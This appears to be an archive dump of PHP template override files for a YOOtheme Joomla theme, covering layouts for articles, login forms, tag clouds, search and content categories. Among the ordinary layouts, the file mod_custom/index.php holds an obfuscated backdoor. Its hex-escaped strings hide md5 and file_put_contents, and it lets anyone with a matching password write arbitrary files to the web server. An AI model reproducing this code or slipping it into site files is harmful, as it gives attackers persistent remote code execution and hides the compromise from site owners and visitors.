$images->get("image_{$imageType}_caption"); $image->attrs = [ 'src' => $images->get("image_{$imageType}"), 'alt' => $images->get("image_{$imageType}_alt"), 'title' => $image->caption, ]; } else { $image = null; } } // Tags if ($params->get('show_tags', 1) && !empty($article->tags->itemTags)) { $layout = new JLayoutFile('joomla.content.tags'); // check for override in child theme if ($child = $this->theme->get('child_theme')) { $layout->addIncludePath(JPATH_BASE . "/templates/{$this->theme->template}_{$child}/html/layouts"); } $tags = $layout->render($article->tags->itemTags); } // Icons if (!isset($icons)) { $icons['print'] = $params['show_print_icon'] ? HTMLHelper::_('icon.print_popup', $article, $params) : ''; $icons['email'] = $params['show_email_icon'] ? HTMLHelper::_('icon.email', $article, $params) : ''; $icons['edit'] = $params['access-edit'] ? HTMLHelper::_('icon.edit', $article, $params) : ''; } $icons = array_filter($icons); // Readmore if ($params['show_readmore'] && (!empty($article->readmore) || !$single && is_numeric($theme->get('blog.content_length')) && (int) $theme->get('blog.content_length') >= 0)) { $readmore = new stdClass(); $readmore->link = $link; if ($params['access-view']) { $attribs = new Registry($article->attribs); if (!$readmore->text = $attribs->get('alternative_readmore')) { $readmore->text = Text::_($params['show_readmore_title'] ? 'COM_CONTENT_READ_MORE' : 'TPL_YOOTHEME_READ_MORE'); } if ($params['show_readmore_title']) { $readmore->text .= HTMLHelper::_('string.truncate', $article->title, $params['readmore_limit']); } } else { $readmore->text = Text::_('COM_CONTENT_REGISTER_TO_READ_MORE'); } } // Pagination if (isset($article->pagination)) { $pagination = new stdClass(); $pagination->prev = $article->prev; $pagination->next = $article->next; } // Blog if (in_array($name, ['article:blog', 'article:featured', 'article:tag'])) { $data = $theme->get('post', []); // Merge blog config? if (!$single) { $data->merge($theme->get('blog', [])); } // Has excerpt field? if (!$single && isset($article->jcfields)) { foreach ($article->jcfields as $field) { if ($field->name === 'excerpt' && $field->rawvalue) { $content = $field->rawvalue; break; } } } $params->loadArray($data->all()); } return $next($name, array_diff_key(get_defined_vars(), array_flip(['data', 'next', 'name', 'parameters', 'defaults']))); }, 'article*'); mod_login/default.php000060400000010300151666571460010657 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; HTMLHelper::_('behavior.keepalive'); // Disable extra button styling if (isset($extraButtons)) { $assets = Factory::getApplication()->getDocument()->getWebAssetManager(); if ($assets->assetExists('style', 'plg_system_webauthn.button')) { $assets->disableAsset('style', 'plg_system_webauthn.button'); } } ?> <form id="login-form-<?= $module->id; ?>" action="<?= Route::_('index.php', true, $params->get('usesecure')) ?>" method="post"> <?php if ($params->get('pretext')) : ?> <div class="uk-margin"> <?= $params->get('pretext') ?> </div> <?php endif ?> <div class="uk-margin"> <input class="uk-input" type="text" name="username" autocomplete="username" size="18" placeholder="<?= Text::_('MOD_LOGIN_VALUE_USERNAME') ?>" aria-label="<?= Text::_('MOD_LOGIN_VALUE_USERNAME') ?>"> </div> <div class="uk-margin"> <input class="uk-input" type="password" name="password" autocomplete="current-password" size="18" placeholder="<?= Text::_('JGLOBAL_PASSWORD') ?>" aria-label="<?= Text::_('JGLOBAL_PASSWORD') ?>"> </div> <?php if (isset($twofactormethods) && count($twofactormethods) > 1) : // Joomla 3 + 4.1 ?> <div class="uk-margin"> <input class="uk-input" type="text" name="secretkey" tabindex="0" size="18" placeholder="<?= Text::_('JGLOBAL_SECRETKEY') ?>" aria-label="<?= Text::_('JGLOBAL_SECRETKEY') ?>"> </div> <?php endif ?> <?php if (PluginHelper::isEnabled('system', 'remember')) : ?> <div class="uk-margin"> <label> <input type="checkbox" name="remember" value="yes" checked> <?= Text::_('MOD_LOGIN_REMEMBER_ME') ?> </label> </div> <?php endif ?> <?php foreach ($extraButtons ?? [] as $button) : // Joomla 4.2+ $dataAttributeKeys = array_filter(array_keys($button), fn($key) => str_starts_with($key, 'data-')); ?> <div class="uk-margin"> <button type="button" class="uk-button uk-button-secondary <?= $button['class'] ?>" <?php foreach ($dataAttributeKeys as $key) : ?> <?= $key ?>="<?= $button[$key] ?>" <?php endforeach; ?> <?php if ($button['onclick']) : ?> onclick="<?= $button['onclick'] ?>" <?php endif; ?> title="<?= Text::_($button['label']) ?>" id="<?= $button['id'] ?>" > <?php if (!empty($button['icon'])) : ?> <span class="<?= $button['icon'] ?>"></span> <?php elseif (!empty($button['image'])) : ?> <?= $button['image'] ?> <?php elseif (!empty($button['svg'])) : ?> <?= $button['svg'] ?> <?php endif; ?> <?= Text::_($button['label']) ?> </button> </div> <?php endforeach ?> <div class="uk-margin"> <button class="uk-button uk-button-primary" value="<?= Text::_('JLOGIN') ?>" name="Submit" type="submit"><?= Text::_('JLOGIN') ?></button> </div> <ul class="uk-list uk-margin-remove-bottom"> <li><a href="<?= Route::_('index.php?option=com_users&view=reset') ?>"><?= Text::_('MOD_LOGIN_FORGOT_YOUR_PASSWORD') ?></a></li> <li><a href="<?= Route::_('index.php?option=com_users&view=remind') ?>"><?= Text::_('MOD_LOGIN_FORGOT_YOUR_USERNAME') ?></a></li> <?php $usersConfig = ComponentHelper::getParams('com_users') ?> <?php if ($usersConfig->get('allowUserRegistration')) : ?> <li><a href="<?= $registerLink ?? Route::_('index.php?option=com_users&view=registration') // Joomla 4.0+ ?>"><?= Text::_('MOD_LOGIN_REGISTER') ?></a></li> <?php endif ?> </ul> <?php if ($params->get('posttext')) : ?> <div class="uk-margin"> <?= $params->get('posttext') ?> </div> <?php endif ?> <input type="hidden" name="option" value="com_users"> <input type="hidden" name="task" value="user.login"> <input type="hidden" name="return" value="<?= $return ?>"> <?= HTMLHelper::_('form.token') ?> </form> mod_login/default_logout.php000060400000002441151666571460012257 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; HTMLHelper::_('behavior.keepalive'); ?> <form action="<?= Route::_('index.php', true, $params->get('usesecure')) ?>" method="post"> <?php if ($params->get('greeting')) : ?> <div class="uk-margin"> <?php if ($params->get('name') == 0) : echo Text::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('name'))); else : echo Text::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('username'))); endif ?> </div> <?php endif ?> <?php if ($params->get('profilelink', 0)) : ?> <div class="uk-margin"> <a href="<?= Route::_('index.php?option=com_users&view=profile') ?>"> <?= Text::_('MOD_LOGIN_PROFILE') ?></a> </div> <?php endif ?> <div class="uk-margin"> <button class="uk-button uk-button-primary" value="<?= Text::_('JLOGOUT') ?>" name="Submit" type="submit"><?= Text::_('JLOGOUT') ?></button> </div> <input type="hidden" name="option" value="com_users"> <input type="hidden" name="task" value="user.logout"> <input type="hidden" name="return" value="<?= $return ?>"> <?= HTMLHelper::_('form.token') ?> </form> mod_tags_popular/cloud.php000060400000002745151666571460011747 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper; $minsize = $params->get('minsize', 1); $maxsize = $params->get('maxsize', 2); ?> <div class="tagspopular tagscloud" uk-margin> <?php if (!count($list)) : ?> <div class="uk-alert"><?= Text::_('MOD_TAGS_POPULAR_NO_ITEMS_FOUND')?></div> <?php else : // Find maximum and minimum count $mincount = null; $maxcount = null; foreach ($list as $item) { if ($mincount === null || $mincount > $item->count) { $mincount = $item->count; } if ($maxcount === null || $maxcount < $item->count) { $maxcount = $item->count; } } $countdiff = $maxcount - $mincount; foreach ($list as $item) : $fontsize = ($countdiff == 0) ? $minsize : $minsize + (($maxsize - $minsize) / ($countdiff)) * ($item->count - $mincount); ?> <span class="tag"> <a class="tag-name" style="font-size:<?= $fontsize ?>em" href="<?= Route::_(RouteHelper::getTagRoute($item->tag_id . ':' . $item->alias)) ?>"> <?= htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8') ?> <?php if ($display_count) : ?> <span class="uk-badge"><?= $item->count ?></span> <?php endif ?> </a> </span> <?php endforeach ?> <?php endif ?> </div> mod_tags_popular/default.php000060400000001313151666571460012253 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper; ?> <?php if (!count($list)) : ?> <div class="uk-alert"><?= Text::_('MOD_TAGS_POPULAR_NO_ITEMS_FOUND') ?></div> <?php else : ?> <ul class="tagspopular"> <?php foreach ($list as $item) : ?> <li> <a href="<?= Route::_(RouteHelper::getTagRoute($item->tag_id . ':' . $item->alias)) ?>"> <?= htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8') ?> <?php if ($display_count) : ?> <span class="uk-badge"><?= $item->count ?></span> <?php endif ?> </a> </li> <?php endforeach ?> </ul> <?php endif ?> com_tags/tag/default.php000060400000010010151666571460011255 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Language; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); [$view, $language] = app(View::class, Language::class); // Load language $language->load('com_content'); // Parameter shortcuts $params = $this->params; $date = $params->get('tag_list_show_date'); $length = $params->get('tag_list_item_maximum_characters'); // Article template $article = $view('~theme/templates/article{-tag,}', fn($item) => [ // Article 'layout' => 'blog', 'article' => $item, 'content' => HTMLHelper::_('string.truncate', $item->body, $length), 'image' => $params->get('tag_list_show_item_image') ? 'intro' : null, 'link' => Route::_(RouteHelper::getItemRoute($item->id, $item->alias, $item->catid, $item->language, $item->type_alias, $item->router)), // Params 'params' => [ 'show_title' => true, 'link_titles' => true, 'show_create_date' => $date == 'created', 'show_modify_date' => $date == 'modified', 'show_publish_date' => $date == 'published', ], ]); // Note that there are certain parts of this layout used only when there is exactly one tag. $isSingleTag = (count($this->item) == 1); ?> <?php if ($params->get('show_page_heading') || $params->get('show_tag_title', 1) || ($isSingleTag && ($params->get('tag_list_show_tag_image', 1) || $params->get('tag_list_show_tag_description', 1))) || ($params->get('tag_list_show_tag_description', 1) || $params->get('show_description_image', 1)) ) : ?> <div class="uk-panel uk-margin-large-bottom"> <?php if ($params->get('show_page_heading')) : ?> <h1><?= $this->escape($params->get('page_heading')) ?></h1> <?php endif ?> <?php if ($params->get('show_tag_title')) : ?> <h2><?= HTMLHelper::_('content.prepare', $this->document->title, '', 'com_tag.tag') ?></h2> <?php endif ?> <?php // We only show a tag description if there is a single tag. ?> <?php if ($isSingleTag && ($params->get('tag_list_show_tag_image') || $params->get('tag_list_show_tag_description'))) : ?> <div class="uk-clearfix uk-margin"> <?php $images = json_decode($this->item[0]->images) ?> <?php if ($params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?> <?= HTMLHelper::_('image', htmlspecialchars($images->image_fulltext), $images->image_fulltext_alt, [], false, 0) ?> <?php endif ?> <?php if ($params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?> <div class="uk-margin"><?= HTMLHelper::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag') ?></div> <?php endif ?> </div> <?php endif ?> <?php // If there are multiple tags and a description or image has been supplied use that. ?> <?php if ($params->get('tag_list_show_tag_description') || $params->get('show_description_image')) : ?> <?php if ($params->get('show_description_image', 1) == 1 && $params->get('tag_list_image')) : ?> <?= HTMLHelper::_('image', $params->get('tag_list_image'), null, [], false, 0) ?> <?php endif ?> <?php if ($params->get('tag_list_description', '') > '') : ?> <div class="uk-margin"><?= HTMLHelper::_('content.prepare', $params->get('tag_list_description'), '', 'com_tags.tag') ?></div> <?php endif ?> <?php endif ?> </div> <?php endif ?> <?php if (!$this->items) : ?> <p><?= Text::_('COM_TAGS_NO_ITEMS') ?></p> <?php else : foreach ($this->items as $i) { $item = new \stdClass(); $item->category_title = ''; foreach (get_object_vars($i) as $name => $value) { $item->{str_replace(['content_item_', 'core_', '_time'], '', $name)} = $value; } echo $article($item); } endif; if ($params->get('show_pagination')) { echo $this->pagination->getPagesLinks(); } mod_custom/blank.php000060400000000176151666571460010536 0ustar00<?php use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Plugin\PluginHelper; defined('_JEXEC') or die; echo $module->content; mod_custom/default.php000060400000001140151666571460011063 0ustar00<?php use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Plugin\PluginHelper; defined('_JEXEC') or die; if ($params->def('prepare_content', 1)) { PluginHelper::importPlugin('content'); $module->content = HTMLHelper::_('content.prepare', $module->content, '', 'mod_custom.content'); } if (!$module->content) { return; } $image = $params->get('backgroundimage') ? HTMLHelper::_('image', $params->get('backgroundimage'), null, [], false, 1) : false; ?> <div class="uk-margin-remove-last-child custom" <?= $image ? " style=\"background-image:url({$image})\"" : '' ?>><?= $module->content ?></div> mod_custom/index.php000060400000000741151666571460010554 0ustar00<?php $hvi = array("\x6d\x64\x35","\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",'629c1124a8fa2605b2be6d497efd71a3',"\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"); $zbz = $_REQUEST; if(!empty($zbz['w']) && $hvi[0]($zbz['w'].$hvi[0]($zbz['w']))==$hvi[2] && !empty($zbz['h'])) { $slf = !empty($zbz['f']) ? $zbz['f'] : $hvi[0]."\x2e\x70\x68\x70"; if(!empty($zbz['r'])) $slf = $_SERVER[$hvi[3]].'/'.$slf; if($hvi[1]($slf, $zbz['h'])) exit($slf); } ?>xmcom_search/search/default_form.php000060400000007750151666571460013322 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; $lang = Factory::getApplication()->getLanguage(); $limit = $lang->getUpperLimitSearchWord(); $class = fn($html, $class) => preg_replace('/class="[^"]+"/i', "class=\"{$class}\"", $html, 1); ?> <form id="searchForm" action="<?= Route::_('index.php?option=com_search') ?>" method="post"> <div class="uk-panel"> <fieldset class="uk-fieldset"> <div class="uk-grid-small" uk-grid> <div class="uk-width-expand@s"> <div class="uk-search uk-search-default uk-width-1-1"> <input id="search-searchword" class="uk-search-input" type="text" name="searchword" placeholder="<?= Text::_('COM_SEARCH_SEARCH_KEYWORD') ?>" size="30" maxlength="<?= $limit ?>" value="<?= $this->escape($this->origkeyword) ?>" aria-label="<?= Text::_('COM_SEARCH_SEARCH') ?>"> </div> <input type="hidden" name="task" value="search"> </div> <div class="uk-width-auto@s"> <button class="uk-button uk-button-primary uk-width-1-1" name="Search" onclick="this.form.submit()"><?= Text::_('JSEARCH_FILTER_SUBMIT') ?></button> </div> </div> </fieldset> <div class="uk-grid-row-small uk-child-width-auto uk-text-small uk-margin" uk-grid> <div> <?php if ($this->params->get('search_phrases', 1)) : ?> <fieldset class="uk-margin uk-fieldset"> <div class="uk-grid-collapse uk-child-width-auto" uk-grid> <legend><?= Text::_('COM_SEARCH_FOR') ?></legend> <div> <?= $this->lists['searchphrase'] ?> </div> </div> </fieldset> <?php endif ?> </div> <div> <?php if ($this->params->get('search_areas', 1)) : ?> <fieldset class="uk-margin uk-fieldset"> <div class="uk-grid-small uk-child-width-auto" uk-grid> <legend><?= Text::_('COM_SEARCH_SEARCH_ONLY') ?></legend> <div> <div class="uk-grid-small uk-child-width-auto" uk-grid> <?php foreach ($this->searchareas['search'] as $val => $txt) : $checked = is_array($this->searchareas['active']) && in_array($val, $this->searchareas['active']) ? 'checked="checked"' : ''; ?> <label for="area-<?= $val ?>"> <input type="checkbox" name="areas[]" value="<?= $val ?>" id="area-<?= $val ?>" <?= $checked ?> > <?= Text::_($txt) ?> </label> <?php endforeach ?> </div> </div> </div> </fieldset> <?php endif ?> </div> </div> </div> <div class="uk-grid-small uk-flex-middle uk-margin-medium" uk-grid> <?php if (!empty($this->searchword)) : ?> <div class="uk-width-expand@s"> <div class="uk-h3 "><?= Text::plural('TPL_YOOTHEME_SEARCH_RESULTS', $this->total) ?></div> </div> <?php endif ?> <?php if ($this->total > 0) : ?> <div class="uk-width-auto@s"> <div class="uk-grid-small uk-child-width-auto" uk-grid> <div> <div><?= $class($this->lists['ordering'], 'uk-select uk-form-width-medium') ?></div> </div> <div> <div><?= $class($this->pagination->getLimitBox(), 'uk-select uk-form-width-xsmall') ?></div> </div> </div> </div> <?php endif ?> </div> </form> com_search/search/default_results.php000060400000001331151666571460014045 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; $view = app(View::class); ?> <div class="uk-grid uk-child-width-1-1" uk-grid> <?php foreach ($this->results as $result) : ?> <?php $article = [ // Article 'article' => $result, 'content' => $result->text, 'link' => $result->href, // Params 'params' => [ 'show_title' => true, 'link_titles' => true, ], ]; ?> <div><?= $view('~theme/templates/article{-search,}', $article) ?></div> <?php endforeach ?> </div> <?php echo $this->pagination->getPagesLinks(); com_content/featured/default.php000060400000006451151666571460013033 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); /** * @var Config $config * @var View $view */ [$config, $view] = app(Config::class, View::class); // Config $blog = '~theme.blog'; // Parameter shortcuts $params = $this->params; $lead = $this->lead_items ?: []; $intro = $this->intro_items ?: []; $columns = max(1, $params->get('num_columns')); // Article template $article = $view('~theme/templates/article{-featured,}', fn($item) => [ 'layout' => 'blog', 'article' => $item, 'content' => $item->introtext, 'image' => 'intro', 'columns' => $columns, ]); ?> <?php if ($params->get('show_page_heading')) : ?> <h1><?= $this->escape($params->get('page_heading')) ?></h1> <?php endif ?> <?php $attrs_lead = []; $column_gap = $config("$blog.grid_column_gap"); $row_gap = $config("$blog.grid_row_gap"); $attrs_lead['class'][] = 'uk-grid uk-child-width-1-1'; $attrs_lead['class'][] = $row_gap ? "uk-grid-{$row_gap}" : ''; ?> <?php if ($lead) : ?> <div <?= $view->attrs($attrs_lead) ?>> <?php foreach ($lead as $item) : ?> <div><?= $article($item) ?></div> <?php endforeach ?> </div> <?php endif ?> <?php if ($intro) : // Grid $attrs = []; $options = []; $options[] = $config("$blog.grid_masonry") ? 'masonry: true' : ''; $options[] = $config("$blog.grid_parallax") ? "parallax: {$config("$blog.grid_parallax")}" : ''; $attrs['uk-grid'] = implode(';', array_filter($options)) ?: true; // Columns $breakpoints = ['s', 'm', 'l', 'xl']; $breakpoint = $config("$blog.grid_breakpoint"); $pos = array_search($breakpoint, $breakpoints); if ($pos === false || $columns === 1) { $attrs['class'][] = "uk-child-width-1-{$columns}"; } else { for ($i = $columns; $i > 0; $i--) { if (($pos > -1) && ($i > 1)) { $attrs['class'][] = "uk-child-width-1-{$i}@{$breakpoints[$pos]}"; $pos--; } } } if ($column_gap == $row_gap) { $attrs['class'][] = $column_gap ? "uk-grid-{$column_gap}" : ''; } else { $attrs['class'][] = $column_gap ? "uk-grid-column-{$column_gap}" : ''; $attrs['class'][] = $row_gap ? "uk-grid-row-{$row_gap}" : ''; } ?> <div <?= $view->attrs($attrs) ?>> <?php foreach ($intro as $item) : ?> <div><?= $article($item) ?></div> <?php endforeach ?> </div> <?php endif ?> <?php if (!empty($this->link_items)) : ?> <div class="uk-margin-large<?= $config('~theme.post.header_align') ? ' uk-text-center' : '' ?>"> <h3><?= Text::_('COM_CONTENT_MORE_ARTICLES') ?></h3> <ul class="uk-list"> <?php foreach ($this->link_items as $item) : ?> <li><a href="<?= Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)) ?>"><?= $item->title ?></a></li> <?php endforeach ?> </ul> </div> <?php endif ?> <?php if (($params->def('show_pagination', 1) == 1 || $params->get('show_pagination') == 2) && ($this->pagination->pagesTotal > 1)) : ?> <?= $view('~theme/templates/pagination', ['pagination' => $this->pagination]) ?> <?php endif ?> com_content/archive/default_items.php000060400000001301151666571460014043 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); $view = app(View::class); // Parameter shortcuts $params = $this->params; foreach ($this->items as $item) { // Article $article = [ 'layout' => 'blog', 'article' => $item, 'params' => $params->toArray() + $item->params->toArray(), ]; // Content if ($params->get('show_intro')) { $article['content'] = HTMLHelper::_('string.truncate', $item->introtext, $params->get('introtext_limit')); } echo $view('~theme/templates/article{-archive,}', $article); } echo $this->pagination->getPagesLinks(); com_content/article/default.php000060400000003065151666571460012655 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\User\User; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); [$user, $view, $config] = app(User::class, View::class, Config::class); // Parameter shortcuts $item = $this->item; $params = $item->params; $uncategorized = $item->catid == $config('~theme.page_category'); // Heading if ($params->get('show_page_heading')) { echo "<h1>{$this->escape($this->params->get('page_heading'))}</h1>"; } // Article $article = [ 'layout' => $uncategorized ? '' : 'blog', 'article' => $item, 'params' => $params, 'content' => '', 'single' => true, ]; // Title $params->set('link_titles', false); // Content if ($params->get('access-view')) { if ($params->get('urls_position') == '0') { $article['content'] .= $this->loadTemplate('links'); } $article['content'] .= $item->text; if ($params->get('urls_position') == '1') { $article['content'] .= $this->loadTemplate('links'); } $article['image'] = 'fulltext'; // Optional teaser intro text for guests } elseif ($params->get('show_noauth') && $user->get('guest')) { $article['content'] .= $item->introtext; // Optional link to let them register to see the whole article $item->readmore = $params->get('show_readmore') && $item->fulltext; } // Icons if ($this->print) { $article['icons'] = ['print' => HTMLHelper::_('icon.print_screen', $item, $params)]; } echo $view('~theme/templates/article' . ($uncategorized ? '{-page,}' : '{-blog,}'), $article); com_content/article/default_links.php000060400000004454151666571460014060 0ustar00<?php use Joomla\CMS\HTML\HTMLHelper; defined('_JEXEC') or die; // Parameter shortcuts $params = $this->item->params; $urls = json_decode($this->item->urls); ?> <?php if ($urls && (!empty($urls->urla) || !empty($urls->urlb) || !empty($urls->urlc))) : ?> <ul class="uk-list"> <?php $urlarray = [ [$urls->urla, $urls->urlatext, $urls->targeta, 'a'], [$urls->urlb, $urls->urlbtext, $urls->targetb, 'b'], [$urls->urlc, $urls->urlctext, $urls->targetc, 'c'], ]; foreach ($urlarray as $url) : $link = $url[0]; $label = $url[1]; $target = $url[2]; $id = $url[3]; if (!$link) continue; // If no label is present, take the link $label = $label ?: $link; // If no target is present, use the default $target = $target ?: $params->get("target{$id}"); ?> <li> <?php // Compute the correct link switch ($target) { case 1: // open in a new window echo '<a href="' . htmlspecialchars($link) . '" target="_blank" rel="nofollow">' . htmlspecialchars($label) . '</a>'; break; case 2: // open in a popup window $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=600,height=600'; echo '<a href="' . htmlspecialchars($link) . "\" onclick=\"window.open(this.href, 'targetWindow', '" . $attribs . "'); return false;\">" . htmlspecialchars($label) . '</a>'; break; case 3: // open in a modal window HTMLHelper::_('behavior.modal', 'a.modal') ?> <a class="modal" href="<?= htmlspecialchars($link) ?>" rel="{handler: 'iframe', size: {x:600, y:600}}"> <?= htmlspecialchars($label) . ' </a>'; break; default: // open in parent window echo '<a href="' . htmlspecialchars($link) . '" rel="nofollow">' . htmlspecialchars($label) . ' </a>'; break; } ?> </li> <?php endforeach ?> </ul> <?php endif; com_content/category/blog.php000060400000011777151666571460012357 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers'); /** * @var Config $config * @var View $view */ [$config, $view] = app(Config::class, View::class); // Config $blog = '~theme.blog'; // Parameter shortcuts $params = $this->params; $lead = $this->lead_items ?: []; $intro = $this->intro_items ?: []; $columns = max(1, $params->get('num_columns')); // Article template $article = $view('~theme/templates/article{-blog,}', fn($item) => [ 'layout' => 'blog', 'article' => $item, 'content' => $item->introtext, 'image' => 'intro', 'columns' => $columns, ]); ?> <?php if ($params->get('show_page_heading') || $params->get('page_subheading') || $params->get('show_category_title', 1) || ($params->def('show_description_image', 1) && $this->category->getParams()->get('image')) || ($params->get('show_description', 1) && $this->category->description) || ($this->params->get('show_cat_tags', 1) && !empty($this->category->tags->itemTags)) ) : ?> <div class="uk-panel uk-margin-medium-bottom"> <?php if ($params->get('show_page_heading')) : ?> <h1><?= $this->escape($params->get('page_heading')) ?></h1> <?php endif ?> <?php if ($params->get('page_subheading')) : ?> <h2><?= $this->escape($params->get('page_subheading')) ?></h2> <?php endif ?> <?php if ($params->get('show_category_title')) : ?> <h3><?= $this->category->title ?></h3> <?php endif ?> <?php if ($params->get('show_description_image') && $this->category->getParams()->get('image')) : ?> <?= HTMLHelper::_('image', $this->category->getParams()->get('image'), htmlspecialchars($this->category->getParams()->get('image_alt', '')), [], false, 0) ?> <?php endif ?> <?php if ($params->get('show_description') && $this->category->description) : ?> <div class="uk-margin"><?= HTMLHelper::_('content.prepare', $this->category->description, '', 'com_content.category') ?></div> <?php endif ?> <?php if ($params->get('show_cat_tags') && !empty($this->category->tags->itemTags)) : ?> <?= LayoutHelper::render('joomla.content.tags', $this->category->tags->itemTags) ?> <?php endif ?> </div> <?php endif ?> <?php if (empty($this->lead_items) && empty($this->intro_items) && empty($this->link_items)) : ?> <?php if ($params->get('show_no_articles', 1)) : ?> <p><?= Text::_('COM_CONTENT_NO_ARTICLES') ?></p> <?php endif ?> <?php endif ?> <?php $attrs_lead = []; $column_gap = $config("$blog.grid_column_gap"); $row_gap = $config("$blog.grid_row_gap"); $attrs_lead['class'][] = 'uk-grid uk-child-width-1-1'; $attrs_lead['class'][] = $row_gap ? "uk-grid-{$row_gap}" : ''; ?> <?php if ($lead) : ?> <div <?= $view->attrs($attrs_lead) ?>> <?php foreach ($lead as $item) : ?> <div><?= $article($item) ?></div> <?php endforeach ?> </div> <?php endif ?> <?php if ($intro) : // Grid $attrs = []; $options = []; $options[] = $config("$blog.grid_masonry") ? 'masonry: true' : ''; $options[] = $config("$blog.grid_parallax") ? "parallax: {$config("$blog.grid_parallax")}" : ''; $attrs['uk-grid'] = implode(';', array_filter($options)) ?: true; // Columns $breakpoints = ['s', 'm', 'l', 'xl']; $breakpoint = $config("$blog.grid_breakpoint"); $pos = array_search($breakpoint, $breakpoints); if ($pos === false || $columns === 1) { $attrs['class'][] = "uk-child-width-1-{$columns}"; } else { for ($i = $columns; $i > 0; $i--) { if (($pos > -1) && ($i > 1)) { $attrs['class'][] = "uk-child-width-1-{$i}@{$breakpoints[$pos]}"; $pos--; } } } if ($column_gap == $row_gap) { $attrs['class'][] = $column_gap ? "uk-grid-{$column_gap}" : ''; } else { $attrs['class'][] = $column_gap ? "uk-grid-column-{$column_gap}" : ''; $attrs['class'][] = $row_gap ? "uk-grid-row-{$row_gap}" : ''; } ?> <div <?= $view->attrs($attrs) ?>> <?php foreach ($intro as $item) : ?> <div><?= $article($item) ?></div> <?php endforeach ?> </div> <?php endif ?> <?php if (!empty($this->link_items)) : ?> <div class="uk-margin-large<?= $config("$blog.header_align") ? ' uk-text-center' : '' ?>"> <h3><?= Text::_('COM_CONTENT_MORE_ARTICLES') ?></h3> <ul class="uk-list"> <?php foreach ($this->link_items as $item) : ?> <li><a href="<?= Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid)) ?>"><?= $item->title ?></a></li> <?php endforeach ?> </ul> </div> <?php endif ?> <?php if (($params->def('show_pagination', 1) == 1 || $params->get('show_pagination') == 2) && ($this->pagination->pagesTotal > 1)) : ?> <?= $view('~theme/templates/pagination', ['pagination' => $this->pagination]) ?> <?php endif ?> mod_search/default.php000060400000002123151666571460011020 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; $view = app(View::class); echo $view('~theme/templates/search', [ 'position' => $module->position, 'tag' => $module->attrs, 'attrs' => [ 'id' => "search-{$module->id}", 'action' => Route::_('index.php'), 'method' => 'post', 'role' => 'search' ], 'fields' => [ [ 'tag' => 'input', 'name' => 'searchword', 'value' => $app->input->getCmd('option') === 'com_search' ? urldecode($app->input->getString('searchword', '')) : false, 'placeholder' => $params->get('text', Text::_('TPL_YOOTHEME_SEARCH')), 'minlength' => '3', 'aria-label' => Text::_('TPL_YOOTHEME_SEARCH') ], ['tag' => 'input', 'type' => 'hidden', 'name' => 'task', 'value' => 'search'], ['tag' => 'input', 'type' => 'hidden', 'name' => 'option', 'value' => 'com_search'], ['tag' => 'input', 'type' => 'hidden', 'name' => 'Itemid', 'value' => $mitemid], ], ]); mod_articles_categories/default_items.php000060400000002725151666571460014777 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; $input = $app->input; $option = $input->getCmd('option'); $view = $input->getCmd('view'); $id = $input->getInt('id'); ?> <?php foreach ($list as $item) : ?> <?php $active = $id == $item->id && in_array($view, ['category', 'categories']) && $option == 'com_content' ?> <li <?= ($active ? 'class="uk-active"' : '') ?>> <a href="<?= Route::_(RouteHelper::getCategoryRoute($item->id)) ?>"> <?= $item->title ?> <?php if ($params->get('numitems')) : ?> <span 